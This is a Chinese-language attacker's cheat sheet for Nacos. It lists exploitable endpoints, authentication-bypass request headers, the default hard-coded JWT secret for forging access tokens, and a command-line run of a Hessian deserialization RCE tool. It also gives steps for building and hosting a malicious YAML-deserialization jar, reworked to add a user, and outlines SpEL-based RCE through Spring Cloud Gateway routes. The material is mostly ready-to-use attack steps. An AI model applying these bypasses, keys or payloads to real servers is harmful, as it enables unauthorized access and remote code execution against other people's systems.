Nacos系统漏洞

1前言

知道泄露接口以及危险接口大致如下:

1
2
3
4
5
6
7
8
9
#文件上传
/nacos/v1/cs/ops/data/removal
#sql注入
/nacos/v1/cs/ops/derby?sql=
#获取nacos版本信息
/nacos/v1/console/server/state
#查看用户信息
GET /nacos/v1/auth/users
.........................

Nacos综合利用工具

1
2
3
#全选绕过的请求头
User-Agent: Nacos-Server
serverIdentity: security

危害

默认硬编码

1
2
3
#默认jwt密钥0.1.0<=nacos<=2.2.0
nacos.core.auth.default.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
# =后边的是默认的硬编码

nacos加密用户accessToken使用的jwt默认密钥加密,也就是只要知到nacos的用户,任何人都能通过此密钥加密用户得到对应用户的accessToken

Nacos JRaft Services 文件操作漏洞

1
2
#JRaft(Nacos 内置一致性组件)用于快照同步的接口
/nacos/v1/raft/snapshot

Nacos Hessian 反序列化漏洞

  • 1.4.0 <= Nacos < 1.4.6
  • 2.0.0 <= Nacos < 2.2.3

poc:https://github.com/c0olw/NacosRce

1
java -jar NacosRce.jar http://xxxx:xxx/nacos/ 7848 "whoami"

Nacos Yaml反序列化漏洞

1
2
3
4
5
POST /nacos/v1/cs/configs?import=true&namespace= HTTP/1.1
Host: xxx:xx
Content-Type: multipart/form-data;boundary=----xxxx

xxx

工具利用:https://github.com/artsploit/yaml-payload/

注意:

yaml-payload中的Java文件是弹出计算机,可以更改成添加用户再进行打包;参考文章内网打靶—春秋云镜篇(6) –Hospital-先知社区

1
2
3
4
5
6
7
8
9
#准备恶意文件
javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/
#windows
jar -cvf yaml-payload.jar -C src .

#找个可以出网的地方监听一般是内网
python3 -m http.server

Spring Cloud Gateway攻击Redis

① Nacos 版本 ≤ 1.4.x
/nacos/v1/cs/configs 可未授权写
③ 下游是 Spring / Spring Cloud 应用
④ 应用开启了 自动刷新 / 动态配置

文章Spring Cloud Gateway攻击Redis | 雨了个雨’s blog

主要步骤

在nacos中通过编辑路由配置文件,通过新增路由以及配置AddResponseHeader过滤器执行SPEL表达式实现RCE